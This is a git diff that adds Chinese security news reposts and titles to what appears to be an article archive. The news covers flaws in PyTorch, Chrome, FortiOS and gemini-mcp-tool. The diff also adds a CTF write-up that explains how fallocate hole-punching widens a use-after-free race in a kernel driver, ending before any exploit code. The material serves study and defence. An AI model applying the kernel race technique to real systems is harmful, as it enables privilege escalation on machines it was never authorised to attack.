diff --git a/data.json b/data.json
index 18a4f511..b6b3776e 100644
--- a/data.json
+++ b/data.json
@@ -17333,5 +17333,23 @@
"https://mp.weixin.qq.com/s/mLIvzi12Xq7mosK-FJD8TQ": "国家漏洞库CNNVD:关于Microsoft Office安全漏洞的通报;韩国公共系统全面沦陷:模拟攻击揭示安全防护重大缺陷| 牛览",
"https://mp.weixin.qq.com/s/ZyVVh1BQNOO_fEDtc7Qjqw": "谷歌关于多个威胁行为者利用 WinRAR 严重漏洞 CVE-2025-8088 进行攻击分析",
"https://mp.weixin.qq.com/s/HQDSxpkZFgmPWlBLMxiEgw": "Redis 远程代码执行漏洞(CVE-2025-49844)",
- "https://mp.weixin.qq.com/s/iRSKfbWctpUQYg2tmupopQ": "CVE-2025-39566 sql注入漏洞"
+ "https://mp.weixin.qq.com/s/iRSKfbWctpUQYg2tmupopQ": "CVE-2025-39566 sql注入漏洞",
+ "https://mp.weixin.qq.com/s/1yPCR92RT33Ce4vWxR6DWA": "SolarWinds再曝重大RCE漏洞,企业安全团队旧伤复发",
+ "https://mp.weixin.qq.com/s/iKSyh5ksFFnH8IzfIlWBGA": "Gemini MCP 曝高危零日漏洞 允许远程攻击",
+ "https://mp.weixin.qq.com/s/_Paf3WYVXDV9gDmQwYdeLg": "Linux 内核攻击:Punch hole (2025 Backdoor skernel 复现)",
+ "https://mp.weixin.qq.com/s/efU2-wd1ZHFH48t3MHp8Gg": "【接口漏洞第八章第九节】一招绕过GraphQL内省防御:实战利用详解",
+ "https://mp.weixin.qq.com/s/4ZNdVVPLk_QwgrFTkJRNzQ": "路由器安全研究|D- Link DIR-823G v1.02 B05 复现与利用思路",
+ "https://mp.weixin.qq.com/s/rBLFnFKwLayQU7fIwoJOaQ": "严重OpenSSL漏洞可使远程攻击者执行恶意代码",
+ "https://mp.weixin.qq.com/s/dkjJDZKQp9zdw7lA8-dAhw": "密码重置漏洞挖掘指南:从原理到实战的完整路径",
+ "https://mp.weixin.qq.com/s/vq41cwGRjiKoATtNMCx03A": "【安全圈】PyTorch \"安全\"模式被严重RCE漏洞攻破,可执行任意代码",
+ "https://mp.weixin.qq.com/s/07vRoWodsj0lNgPPMjk2CQ": "n8n 两个高危漏洞可导致认证RCE",
+ "https://mp.weixin.qq.com/s/5ulg_3lR2wbQ5M3MGvWQXg": "【论文推荐】大模型组队挖掘0day,成功率竟然远超专业工具?",
+ "https://mp.weixin.qq.com/s/pTw1PJuArTmLxnfycTt1UQ": "Chrome安全更新修复Background Fetch API中的严重漏洞",
+ "https://mp.weixin.qq.com/s/sI8BOAyzeLdZ_z5AyINkkQ": "Fortinet 修复已遭利用的严重 FortiOS 漏洞",
+ "https://mp.weixin.qq.com/s/3AbOpNlidTI5KPcfqkEVOA": "CVE-2026-24747:PyTorch模型加载功能曝出8.8分高危漏洞",
+ "https://mp.weixin.qq.com/s/h7uRGRlLnkJuZtINKiZo3A": "【已复现】OpenSSL CMS模块栈溢出漏洞(CVE-2025-15467):可导致拒绝服务或远程代码执行",
+ "https://mp.weixin.qq.com/s/fcDX1r74I8YzIG2WSnU4Wg": "【论文速读】| VulnResolver:一款基于大语言模型的自动化漏洞修复混合智能体框架",
+ "https://mp.weixin.qq.com/s/UgdwoIRiHlXWDa6J_De7wA": "PyTorch安全模式被RCE漏洞攻破,恶意模型可执行任意代码",
+ "https://mp.weixin.qq.com/s/gakjueNgGFU2unY-WuybOg": "【安全圈】Chrome 发布安全更新,修复后台 Fetch API 漏洞",
+ "https://mp.weixin.qq.com/s/5EN6WrqP-AVVuhsnAtz9ow": "WordPress后台存储型XSS 全网首发POC及复现环境(CVE-2025-12067)"
}
\ No newline at end of file
diff --git a/doc/2026-01/CVE-2026-24747:PyTorch模型加载功能曝出8.8分高危漏洞.md b/doc/2026-01/CVE-2026-24747:PyTorch模型加载功能曝出8.8分高危漏洞.md
new file mode 100644
index 00000000..d6bfc189
--- /dev/null
+++ b/doc/2026-01/CVE-2026-24747:PyTorch模型加载功能曝出8.8分高危漏洞.md
@@ -0,0 +1,73 @@
+# CVE-2026-24747:PyTorch模型加载功能曝出8.8分高危漏洞
+看雪学苑
+ 看雪学苑 看雪学苑 2026-01-29 10:00
+
+近日,支撑现代深度学习研究与应用的PyTorch框架曝出一项严重安全漏洞,其专门设计用于防范恶意模型文件的安全加载机制遭到绕过。
+该漏洞编号为CVE-2026-24747,CVSS评分为8.8(高危等级),
+可导致攻击者在用户进程中执行任意代码,即使受害者已启用官方推荐的安全防护选项。
+
+
+**“安全模式”为何失守?**
+
+
+在PyTorch中,开发者常使用`torch.load()`函数加载训练好的模型文件。由于传统的Python pickle机制存在执行任意代码的风险,PyTorch引入了`weights_only=True`参数,承诺仅加载模型权重数据、阻断任何潜在的可执行代码。
+
+
+然而,安全研究人员发现,这一安全验证机制并未完全奏效。
+漏洞根源在于“仅加载权重”的反序列化器未能充分验证pickle操作码与存储元数据。
+攻击者可通过构造恶意的`.pth`模型文件,触发两类问题:
+
+1.堆内存破坏:
+对非字典类型应用SETITEM或SETITEMS操作码,导致内存结构损坏;
+
+2. 存储数据不匹配:
+声明的元素数量与实际归档数据大小不一致,引发系统异常。
+
+
+当用户自信地以“安全模式”加载这类恶意文件时,内存破坏可能被利用,进而劫持整个进程。
+
+
+**AI供应链安全面临现实威胁**
+
+
+该漏洞尤其对AI开源生态构成严重威胁。许多研究人员与工程师习惯从Hugging Face、GitHub等公共平台下载并测试他人发布的模型检查点。一旦恶意文件被上传至这些平台,就可能被广泛下载与加载。
+
+
+根据官方通告,任何运行PyTorch 2.9.1及之前版本的环境均受影响。攻击者只需诱使用户加载恶意检查点文件,便能在受害者进程上下文中执行任意代码。
+
+
+**紧急修补方案已发布**
+
+
+PyTorch开发团队已在2.10.0版本中修复该漏洞。
+强烈建议所有开发者、研究人员与企业立即升级PyTorch至最新版本,
+以确保模型加载过程真正安全。
+
+
+对于暂时无法升级的用户,应谨慎对待来源不明的模型文件,尽量仅从可信渠道获取模型检查点,并在沙箱或隔离环境中运行相关加载代码。
+
+
+本文基于PyTorch官方安全公告及相关技术分析撰写,漏洞编号CVE-2026-24747,详细信息可参阅PyTorch官方发布的安全更新说明。
+
+
+﹀
+
+﹀
+
+﹀
+
+
+
+
+
+
+**球分享**
+
+
+
+**球点赞**
+
+
+
+**球在看**
+
diff --git a/doc/2026-01/Chrome安全更新修复Background Fetch API中的严重漏洞.md b/doc/2026-01/Chrome安全更新修复Background Fetch API中的严重漏洞.md
new file mode 100644
index 00000000..c88763ab
--- /dev/null
+++ b/doc/2026-01/Chrome安全更新修复Background Fetch API中的严重漏洞.md
@@ -0,0 +1,31 @@
+# Chrome安全更新修复Background Fetch API中的严重漏洞
+ 网安百色 2026-01-29 11:38
+
+
+
+Google已为桌面平台发布新的Chrome Stable Channel更新,修复了Background Fetch API中的一个高严重性漏洞,该漏洞可能使用户面临安全风险。
+
+最新Chrome版本144.0.7559.109/.110(Windows和macOS)和144.0.7559.109(Linux)现正向用户推送,并将在未来数天和数周内逐步可用。
+
+Google目前尚未公布该漏洞的完整技术细节,因为漏洞信息在大多数用户收到修复补丁前将暂时受限。
+
| CVE ID | Severity | Component | Type | Reporter |
|---|
| CVE-2026-1504 | High | Background Fetch API | Inappropriate implementation | Luan Herrera (@lbherrera_) |
+该已修复的漏洞被追踪为CVE-2026-1504,被描述为Background Fetch API中的"不当实现",严重性评级为"高"。
+
+该问题由安全研究员Luan Herrera (@lbherrera_)于2026年1月9日报告,Google为此发现授予了3,000美元的漏洞奖励。
+
+Background Fetch API允许网站在后台下载大文件,即使浏览器标签已关闭。
+
+此组件中的实现缺陷可能被滥用,以绕过安全边界、错误处理权限或以不安全方式处理后台请求。
+
+虽然Google尚未披露利用细节,但"高"评级表明成功利用可能影响用户安全或隐私。
+
+按照标准做法,Google在大多数Chrome用户完成更新前,将暂缓完整的漏洞报告和利用细节,以降低威胁行为者进行主动利用的风险。
+
+如果该漏洞也存在于第三方库中,相关限制可能会保持更长时间,以便其他项目有时间进行修复。
+
+强烈建议用户尽快通过浏览器内置的更新机制更新Chrome,以确保免受CVE-2026-1504及其他底层安全漏洞的影响。
+
+本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理,文章版权归原作者所有,仅供读者学习、参考,禁止用于商业用途。因转载众多,无法找到真正来源,如标错来源,或对于文中所使用的图片、文字、链接中所包含的软件/资料等,如有侵权,请跟我们联系删除,谢谢!
+
+
+
diff --git a/doc/2026-01/Fortinet 修复已遭利用的严重 FortiOS 漏洞.md b/doc/2026-01/Fortinet 修复已遭利用的严重 FortiOS 漏洞.md
new file mode 100644
index 00000000..a5497515
--- /dev/null
+++ b/doc/2026-01/Fortinet 修复已遭利用的严重 FortiOS 漏洞.md
@@ -0,0 +1,129 @@
+# Fortinet 修复已遭利用的严重 FortiOS 漏洞
+Ravie Lakshmanan
+ Ravie Lakshmanan 代码卫士 2026-01-29 09:51
+
+
+
+聚焦源代码安全,网罗国内外最新资讯!
+
+**编译:代码卫士**
+
+**Fortinet****发布安全更新,修复了已遭在野利用的 FortiOS 严重漏洞CVE-2026-24858(CVSS评分9.4)。该漏洞是与 FortiOS 单点登录 (SSO) 相关的认证绕过漏洞,也同时影响 FortiManager 和 FortiAnalyzer。Fortinet 公司提到正在继续调查其它产品如 FortiWeb 和 FortiSwitch Manager 是否也受该漏洞影响。**
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Fortinet 公司在本周二发布的一份安全公告中提到,“FortiOS、FortiManager 和 FortiAnalyzer 系统中存在一种通过替代路径或信道的认证绕过漏洞 [CWE-288]。当其它设备已启用 FortiCloud SSO 身份验证时,拥有 FortiCloud 账号和已注册设备的攻击者可能借此登录到其它账户名下的设备。”
+
+值得注意的是,FortiCloud SSO 登录功能在出厂默认设置中并未启用。只有当管理员通过设备GUI将设备注册到 FortiCare,且未关闭 ‘允许管理员使用 FortiCloud SSO 进行登录’的选项时,该功能才会被激活。
+
+几天前,Fortinet 公司证实称,身份不明的威胁人员正在滥用一个“新型攻击路径”在无需任何身份验证的情况下实现 SSO 登录。该权限被滥用于创建本地管理员账号以实现持久性,更改配置授予账号的VPN访问权限并盗取防火墙配置。
+
+上周,Fortinet 公司表示已采取如下措施:
+
+- 在2026年1月22日锁定两个恶意 FortiCloud 账号(cloud-noc@mail.com和cloud-init@mail.io)
+
+- 在2026年1月26日禁用 FortiCloud 上的 FortiCloud SSO
+
+- 在2026年1月27日重新启用 FortiCloud SSO,同时禁用从运行易受攻击版本登录的选项。
+
+
+
+换句话说,客户需要升级至最新版本才能使 FortiCloud SSO 身份验证特性正常运行。Fortinet 公司同时督促检测到妥协指标的用户应将其设备视为已遭攻陷,并建议采取如下措施:
+
+- 确保设备正在运行最新固件版本。
+
+- 用已知干净版本恢复配置或者审计任何未授权更改。
+
+- 更换凭据,包括任何可能连接到 FortiGate 设备的 LDAP/AD 账号。
+
+
+
+CISA已将该漏洞纳入KEV清单,要求联邦民事行政机构 (FCEB) 机构在2026年1月30日前修复这些漏洞。CISA 还发布更多相关指南,提到该漏洞可导致“具有 FortiCloud 账号和已注册设备的恶意人员,登录到已注册到 FortiOS、FortiManager、FortiWeb、FortiProxy和FortiAnalyzer 其它用户的独立设备,前提是启用了设备上的 FortiCloud单点登录功能”。
+
+FortiOS、FortiManager、FortiAnalyzer、FortiProxy 和 FortiWeb 的客户仍然受影响,应升级至最新版本以恢复 FortiCloud SSO 服务。
+
+Fortinet 公司仍在调查 FortiSwitch Manager 是否受该漏洞影响。该公司表示该漏洞进影响 FortiCloud SSO 且不影响第三方 SAML IdP 或 FortiAuthenticator 实现。另外,CISA督促用户“排查受该漏洞影响的所有可联网访问的 Fortinet 产品上的妥协指标,并尽快按照 Fortinet 发布的指南在更新发布后第一时间完成修复。”
+
+****
+ 开源
+卫士试用地址:
+https://oss.qianxin.com/#/login
+
+
+ 代码卫士试用地址:https://sast.qianxin.com/#/login
+
+
+
+
+
+
+
+
+
+**推荐阅读**
+
+[Fortinet:5年前的FortiOS SSL VPN 2FA绕过漏洞正遭活跃利用](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524747&idx=1&sn=4048d2d12b0a64ce62d92a0b79a83100&scene=21#wechat_redirect)
+
+
+[Fortinet 提醒注意严重的 FortiCloud SSO 登录认证绕过漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524622&idx=1&sn=c4730e9500580e409534b376a56f70db&scene=21#wechat_redirect)
+
+
+[CISA要求政府机构在7天内修复这个 Fortinet 新0day](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524465&idx=1&sn=cf210939b4c44de97b60529383818aaa&scene=21#wechat_redirect)
+
+
+[Fortinet:注意这个严重的 FortiSIEM 预认证 RCE 漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523808&idx=1&sn=ef2a5d044fa1a9c53dc3920c5ce650d5&scene=21#wechat_redirect)
+
+
+[Fortinet 修复FortiWeb 中的严重SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523530&idx=2&sn=e19607b9a1bbf6bc70c902e40f0de1d3&scene=21#wechat_redirect)
+
+
+
+
+
+**原文链接**
+
+https://thehackernews.com/2026/01/fortinet-patches-cve-2026-24858-after.html
+
+
+题图:Pixa
+bay Licens
+e
+
+
+**本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。**
+
+
+
+
+
+
+
+
+**奇安信代码卫士 (codesafe)**
+
+国内首个专注于软件开发安全的产品线。
+
+ 
+
+
+觉得不错,就点个 “
+在看
+” 或 "
+赞
+” 吧~
+
diff --git a/doc/2026-01/Gemini MCP 曝高危零日漏洞 允许远程攻击.md b/doc/2026-01/Gemini MCP 曝高危零日漏洞 允许远程攻击.md
new file mode 100644
index 00000000..9081e6d9
--- /dev/null
+++ b/doc/2026-01/Gemini MCP 曝高危零日漏洞 允许远程攻击.md
@@ -0,0 +1,77 @@
+# Gemini MCP 曝高危零日漏洞 允许远程攻击
+HackerNews
+ HackerNews 安全威胁纵横 2026-01-29 10:19
+
+高危漏洞
+
+紧急修复指南
+
+RCE Patch
+
+Gemini MCP 工具存在一个高危零日漏洞,使用户在无需任何身份验证的情况下暴露于远程代码执行(RCE)攻击。
+
+推测e
+
+
+**该漏洞追踪编号为 ZDI-26-021 / ZDI-CAN-27783,通用漏洞标识符为CVE-2026-0755,其 CVSS v3.1 最高评分为 9.8 分,反映了其****易被利用且危害程度高**
+的特性。
+
+根据趋势科技零日计划(ZDI)的一份新公告,该漏洞影响了开源工具 gemini-mcp-tool,该工具用于实现 Gemini 模型与模型上下文协议(MCP)服务的集成。
+
+
+**1**
+
+
+**漏洞概述**
+
+在公告中,涉事厂商及产品均标注为 Gemini MCP Tool / gemini-mcp-tool。该漏洞的核心成因是 execAsync 方法对用户
+输入数据处理不当
+。
+
+
+
+该函数
+未对用户输入进行充分验证与净化,便直接将其传入系统调用。
+
+远程攻击者可以利用此命令注入漏洞,在目标底层系统上执行任意代码,且代码执行权限与服务账户权限一致。
+
+由于攻击媒介是基于网络的,且无需事先身份验证或用户交互,因此
+暴露于公网或共享环境的风险特别高。
+
+该漏洞最初于 2025 年 7 月 25 日通过第三方平台报告给相关厂商。
+
+ZDI 在 2025 年 11 月跟进漏洞修复进展,在未获得充分反馈的情况下,于 2025 年 12 月 14 日告知供应商其打算将此案例作为零日漏洞进行公告披露。
+
+该漏洞的协同公开披露及安全公告更新工作于 2026 年 1 月 9 日完成。
+
+截至公告发布时,厂商尚未推出官方补丁及修复更新。因此,该漏洞的缓解措施选项有限。
+
+ZDI 建议**严格限制对 Gemini MCP 工具的访问权限**
+,确保其不直接暴露于互联网,且**仅允许可信网络及可信用户进行交互**
+。
+
+管理员还需对**运行 gemini-mcp-tool 的系统进行监控**
+,
+重点排查可疑进程执行及异常对外连接情况,此类现象可能意味着漏洞已被利用。
+
+****
+
+转载请注明出处@安全威胁纵横,封面来源于网络;
+
+消息来源:https://cybersecuritynews.com/gemini-mcp-tool-0-day-vulnerability/
+
+
+
+
+
+
+更多网络安全视频,请关注视频号“知道创宇404实验室”
+
+
+
+
+
+
+
+
+
diff --git a/doc/2026-01/Linux 内核攻击:Punch hole (2025 Backdoor skernel 复现).md b/doc/2026-01/Linux 内核攻击:Punch hole (2025 Backdoor skernel 复现).md
new file mode 100644
index 00000000..8095ff1a
--- /dev/null
+++ b/doc/2026-01/Linux 内核攻击:Punch hole (2025 Backdoor skernel 复现).md
@@ -0,0 +1,442 @@
+# Linux 内核攻击:Punch hole (2025 Backdoor skernel 复现)
+Elenia
+ Elenia 看雪学苑 2026-01-29 10:00
+
+打 Backdoor 的 skernel 时,在 Tplus 大佬那里学习了一个在不能使用 userfault 和 Fuse 的情况下完成对地址访问的阻塞的攻击方法,个人觉得非常好用。限于篇幅,
+本篇文章主要聚焦于 punch hole 的原理。(当然我也不能确定 punch hole 是预期打法)
+
+**0****1**
+
+**环境说明**
+
+- 本文中关于 Linux 源码的分析均是基于: Linux 6.12.32 版本
+
+- 题目内核版本: Linux 6.18.0
+
+
+**02******
+
+**题目**
+
+
+```
+00000000 struct __fixed struct_3 // sizeof=0x1800000000 { // XREF: module_ioctl/r00000000 int index; // XREF: module_ioctl+25/w00000000 // module_ioctl+60/r ...00000004 int field_4;00000008 __int64 length; // XREF: module_ioctl+2E/w00000008 // module_ioctl+6B/r ...00000010 __int64 buf; // XREF: module_ioctl+37/w00000010 // module_ioctl+169/r ...00000018 };__int64 __fastcall module_ioctl(__int64 a1, int a2, __int64 a3){ __int64 v4; // rbx __int64 v5; // rax __int64 v7; // rdx __int64 v8; // rdi struct_3 v9; // [rsp+8h] [rbp-70h] BYREF _BYTE v10[64]; // [rsp+20h] [rbp-58h] BYREFunsigned __int64 v11; // [rsp+60h] [rbp-18h] v11 = __readgsqword((unsignedint)&_ref_stack_chk_guard);memset(&v9, 0, sizeof(v9));mutex_lock(&skernel_mutex);if ( copy_from_user(&v9, a3, 24) ) { v4 = -14;goto LABEL_10; }if ( v9.index > 7u ) { v4 = -22;goto LABEL_10; } v4 = -22;if ( (unsigned __int64)(v9.length - 1) > 0x3F ) {LABEL_10:mutex_unlock(&skernel_mutex);return v4; }mutex_unlock(&skernel_mutex);switch ( a2 ) {case 322376504:memset(v10, 0, sizeof(v10)); v7 = allocated_objects[v9.index];if ( !v7 )return -1; v4 = 0;kfree(v7);copy_from_user(v10, v9.buf, 64); allocated_objects[v9.index] = 0;return v4;case 322376505: v8 = allocated_objects[v9.index];if ( !v8 )return -1;if ( v9.length > 0x7FFFFFFFuLL )BUG();return -(copy_from_user(v8, v9.buf, v9.length) != 0);case 322376503:if ( allocated_objects[v9.index] )return -1; v4 = 0; v5 = _kmalloc_cache_noprof(kmalloc_caches[6], 3520, 64); allocated_objects[v9.index] = v5;return v4; }return module_ioctl_cold();}
+```
+
+
+
+可以看见我们在free后虽然进行了置空,但是在那之前有copy_from_user(v10, v9.buf, 64);所以我们可以通过类似于 userfault 的方式延长这个copy_from_user的环节,从而让已经free后的obj残留在数组中。在这期间我们可以通过write实现uaf或者通过free实现doubefree。
+
+
+**03******
+
+**Punch hole**
+
+
+这题目环境并不支持 userfault 和 fuse。所以我们可以用 https://starlabs.sg/blog/2023/07-a-new-method-for-container-escape-using-file-based-dirtycred/ 这篇文章中提及的 punch hole 的方式,替代这两种方式,实现条件竞争.当然 punch hole 也不能完美替代这两种方案,本质只是延长了访问的时间而不是可以实现任意控制的延长。
+
+
+攻击方式其实就是将我们的buf地址对应的内存 fallocate 丢弃,制造内存空洞。从而让 copy_from_user 函数访问这个地址的时候会发生缺页中断,然后去处理对应内容。然后由于fallocate会给已经丢弃的内容上锁,所以后续读写会等待打洞完成。(在后文中我们也主要是介绍为什么 fallocate 后的内存访问流程)
+
+
+**04******
+
+**核心数据结构**
+
+
+```
+struct shmem_falloc {wait_queue_head_t *waitq; // 等待队列(用于同步)pgoff_t start; // 打洞起始页号pgoff_t next; // 打洞结束页号(下一个页号)pgoff_t nr_falloced; // 已分配的页数(用于普通 fallocate)pgoff_t nr_unswapped; // 已交换的页数(用于普通 fallocate)};
+```
+
+##
+
+**05******
+
+**fallocate**
+
+> fallocate() 用于预分配或释放文件空间。
+
+- Mode: FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE (后文主要以这个调用链为主)
+
+- FALLOC_FL_PUNCH_HOLE:在文件中打洞,释放指定范围的磁盘块
+
+- FALLOC_FL_KEEP_SIZE:保持文件大小不变(不改变 inode->i_size)
+
+```
+SYSCALL_DEFINE4(fallocate, int, fd, int, mode, loff_t, offset, loff_t, len){return ksys_fallocate(fd, mode, offset, len);}
+```
+
+### 流程
+1. 设置阶段:创建等待队列,设置 inode->i_private 标记 (这样后续只需要检查i_private了)
+
+1. 取消映射:unmap_mapping_range() 取消所有 VMA 中的映射
+
+1. 截断缓存:shmem_truncate_range() → shmem_undo_range() 删除页面缓存和交换条目
+
+1. 清理阶段:清除标记,唤醒等待的 page fault 线程
+
+### vfs_fallocate
+- 模式验证:FALLOC_FL_PUNCH_HOLE 必须与 FALLOC_FL_KEEP_SIZE 一起使用
+
+- 权限检查:需要写权限(FMODE_WRITE)
+
+- 文件类型:必须是普通文件或块设备
+
+- 最终调用:file->f_op->fallocate(file, mode, offset, len) 会有几种情况。
+
+```
+int vfs_fallocate(struct file *file, int mode, loff_t offset, loff_t len){ struct inode *inode = file_inode(file); long ret; loff_t sum;if (offset < 0 || len <= 0)return -EINVAL;if (mode & ~(FALLOC_FL_MODE_MASK | FALLOC_FL_KEEP_SIZE))return -EOPNOTSUPP;/* * Modes are exclusive, even if that is not obvious from the encoding * as bit masks and the mix with the flag in the same namespace. * * To make things even more complicated, FALLOC_FL_ALLOCATE_RANGE is * encoded as no bit set. */ switch (mode & FALLOC_FL_MODE_MASK) { case FALLOC_FL_ALLOCATE_RANGE: case FALLOC_FL_UNSHARE_RANGE: case FALLOC_FL_ZERO_RANGE:break; case FALLOC_FL_PUNCH_HOLE:if (!(mode & FALLOC_FL_KEEP_SIZE))return -EOPNOTSUPP;break; case FALLOC_FL_COLLAPSE_RANGE: case FALLOC_FL_INSERT_RANGE:if (mode & FALLOC_FL_KEEP_SIZE)return -EOPNOTSUPP;break; default:return -EOPNOTSUPP; }if (!(file->f_mode & FMODE_WRITE))return -EBADF;/* * On append-only files only space preallocation is supported. */if ((mode & ~FALLOC_FL_KEEP_SIZE) && IS_APPEND(inode))return -EPERM;if (IS_IMMUTABLE(inode))return -EPERM;/* * We cannot allow any fallocate operation on an active swapfile */if (IS_SWAPFILE(inode))return -ETXTBSY;/* * Revalidate the write permissions, in case security policy has * changed since the files were opened. */ ret = security_file_permission(file, MAY_WRITE);if (ret)return ret; ret = fsnotify_file_area_perm(file, MAY_WRITE, &offset, len);if (ret)return ret;if (S_ISFIFO(inode->i_mode))return -ESPIPE;if (S_ISDIR(inode->i_mode))return -EISDIR;if (!S_ISREG(inode->i_mode) && !S_ISBLK(inode->i_mode))return -ENODEV;/* Check for wraparound */if (check_add_overflow(offset, len, &sum))return -EFBIG;if (sum > inode->i_sb->s_maxbytes)return -EFBIG;if (!file->f_op->fallocate)return -EOPNOTSUPP; file_start_write(file);// 最终调用 f_op->fallocate ret = file->f_op->fallocate(file, mode, offset, len);/* * Create inotify and fanotify events. * * To keep the logic simple always create events if fallocate succeeds. * This implies that events are even created if the file size remains * unchanged, e.g. when using flag FALLOC_FL_KEEP_SIZE. */if (ret == 0) fsnotify_modify(file); file_end_write(file);return ret;}EXPORT_SYMBOL_GPL(vfs_fallocate);
+```
+
+### ext4 文件 实现
+> 也就是我们正常创建的文件.
+
+#### ext4_fallocate (ext4文件系统实现)
+> 具体根据不同 file->f_op->fallocate 的实现为主,这里用ext4文件系统举列子。
+
+- 检查加密文件系统限制
+- 验证支持的模式
+- ext4_punch_hole 最后调用
+
+```
+/* * preallocate space for a file. This implements ext4's fallocate file * operation, which gets called from sys_fallocate system call. * For block-mapped files, posix_fallocate should fall back to the method * of writing zeroes to the required new blocks (the same behavior which is * expected for file systems which do not support fallocate() system call). */longext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len){struct inode *inode = file_inode(file);loff_t new_size = 0;unsignedint max_blocks;int ret = 0;int flags;ext4_lblk_t lblk;unsignedint blkbits = inode->i_blkbits;/* * Encrypted inodes can't handle collapse range or insert * range since we would need to re-encrypt blocks with a * different IV or XTS tweak (which are based on the logical * block number). */if (IS_ENCRYPTED(inode) && (mode & (FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_INSERT_RANGE)))return -EOPNOTSUPP;/* Return error if mode is not supported */if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE | FALLOC_FL_INSERT_RANGE))return -EOPNOTSUPP;inode_lock(inode); ret = ext4_convert_inline_data(inode);inode_unlock(inode);if (ret)goto exit;if (mode & FALLOC_FL_PUNCH_HOLE) { ret = ext4_punch_hole(file, offset, len);goto exit; }if (mode & FALLOC_FL_COLLAPSE_RANGE) { ret = ext4_collapse_range(file, offset, len);goto exit; }if (mode & FALLOC_FL_INSERT_RANGE) { ret = ext4_insert_range(file, offset, len);goto exit; }if (mode & FALLOC_FL_ZERO_RANGE) { ret = ext4_zero_range(file, offset, len, mode);goto exit; }trace_ext4_fallocate_enter(inode, offset, len, mode); lblk = offset >> blkbits; max_blocks = EXT4_MAX_BLOCKS(len, offset, blkbits); flags = EXT4_GET_BLOCKS_CREATE_UNWRIT_EXT;inode_lock(inode);/* * We only support preallocation for extent-based files only */if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) { ret = -EOPNOTSUPP;goto out; }if (!(mode & FALLOC_FL_KEEP_SIZE) && (offset + len > inode->i_size || offset + len > EXT4_I(inode)->i_disksize)) { new_size = offset + len; ret = inode_newsize_ok(inode, new_size);if (ret)goto out; }/* Wait all existing dio workers, newcomers will block on i_rwsem */inode_dio_wait(inode); ret = file_modified(file);if (ret)goto out; ret = ext4_alloc_file_blocks(file, lblk, max_blocks, new_size, flags);if (ret)goto out;if (file->f_flags & O_SYNC && EXT4_SB(inode->i_sb)->s_journal) { ret = ext4_fc_commit(EXT4_SB(inode->i_sb)->s_journal,EXT4_I(inode)->i_sync_tid); }out:inode_unlock(inode);trace_ext4_fallocate_exit(inode, offset, max_blocks, ret);exit:return ret;}
+```
+
+#### ext4_punch_hole(核心函数)
+- 边界检查
+
+- 如果 offset >= inode->i_size,直接返回
+
+- 如果超出文件大小,调整长度
+
+- 对齐处理
+
+- 将偏移量和长度对齐到块边界(round_up/down)
+
+- 清除页面缓存
+
+```
+intext4_punch_hole(struct file *file, loff_t offset, loff_t length){struct inode *inode = file_inode(file);struct super_block *sb = inode->i_sb;ext4_lblk_t first_block, stop_block;struct address_space *mapping = inode->i_mapping;loff_t first_block_offset, last_block_offset, max_length;struct ext4_sb_info *sbi = EXT4_SB(inode->i_sb);handle_t *handle;unsignedint credits;int ret = 0, ret2 = 0;trace_ext4_punch_hole(inode, offset, length, 0);inode_lock(inode);/* No need to punch hole beyond i_size */if (offset >= inode->i_size)goto out_mutex;/* * If the hole extends beyond i_size, set the hole * to end after the page that contains i_size */if (offset + length > inode->i_size) { length = inode->i_size + PAGE_SIZE - (inode->i_size & (PAGE_SIZE - 1)) - offset; }/* * For punch hole the length + offset needs to be within one block * before last range. Adjust the length if it goes beyond that limit. */ max_length = sbi->s_bitmap_maxbytes - inode->i_sb->s_blocksize;if (offset + length > max_length) length = max_length - offset;if (offset & (sb->s_blocksize - 1) || (offset + length) & (sb->s_blocksize - 1)) {/* * Attach jinode to inode for jbd2 if we do any zeroing of * partial block */ ret = ext4_inode_attach_jinode(inode);if (ret < 0)goto out_mutex; }// 等待所有直接 I/O 完成/* Wait all existing dio workers, newcomers will block on i_rwsem */inode_dio_wait(inode); ret = file_modified(file);if (ret)goto out_mutex;/* * Prevent page faults from reinstantiating pages we have released from * page cache. */filemap_invalidate_lock(mapping); ret = ext4_break_layouts(inode);if (ret)goto out_dio; first_block_offset = round_up(offset, sb->s_blocksize); last_block_offset = round_down((offset + length), sb->s_blocksize) - 1;/* Now release the pages and zero block aligned part of pages*/if (last_block_offset > first_block_offset) {// 释放指定范围内的页面缓存 ret = ext4_update_disksize_before_punch(inode, offset, length);if (ret)goto out_dio; ret = ext4_truncate_page_cache_block_range(inode, first_block_offset, last_block_offset + 1);if (ret)goto out_dio; }if (ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) credits = ext4_writepage_trans_blocks(inode);else credits = ext4_blocks_for_truncate(inode); handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits);if (IS_ERR(handle)) { ret = PTR_ERR(handle);ext4_std_error(sb, ret);goto out_dio; }// 零化部分块 ret = ext4_zero_partial_blocks(handle, inode, offset, length);if (ret)goto out_stop; first_block = (offset + sb->s_blocksize - 1) >>EXT4_BLOCK_SIZE_BITS(sb); stop_block = (offset + length) >> EXT4_BLOCK_SIZE_BITS(sb);/* If there are blocks to remove, do it */if (stop_block > first_block) {ext4_lblk_t hole_len = stop_block - first_block;down_write(&EXT4_I(inode)->i_data_sem);ext4_discard_preallocations(inode);ext4_es_remove_extent(inode, first_block, hole_len);// 删除块 从 extent 树或间接块中删除块if (ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) ret = ext4_ext_remove_space(inode, first_block, stop_block - 1);else ret = ext4_ind_remove_space(handle, inode, first_block, stop_block);// 标记为 HOLE 在 extent 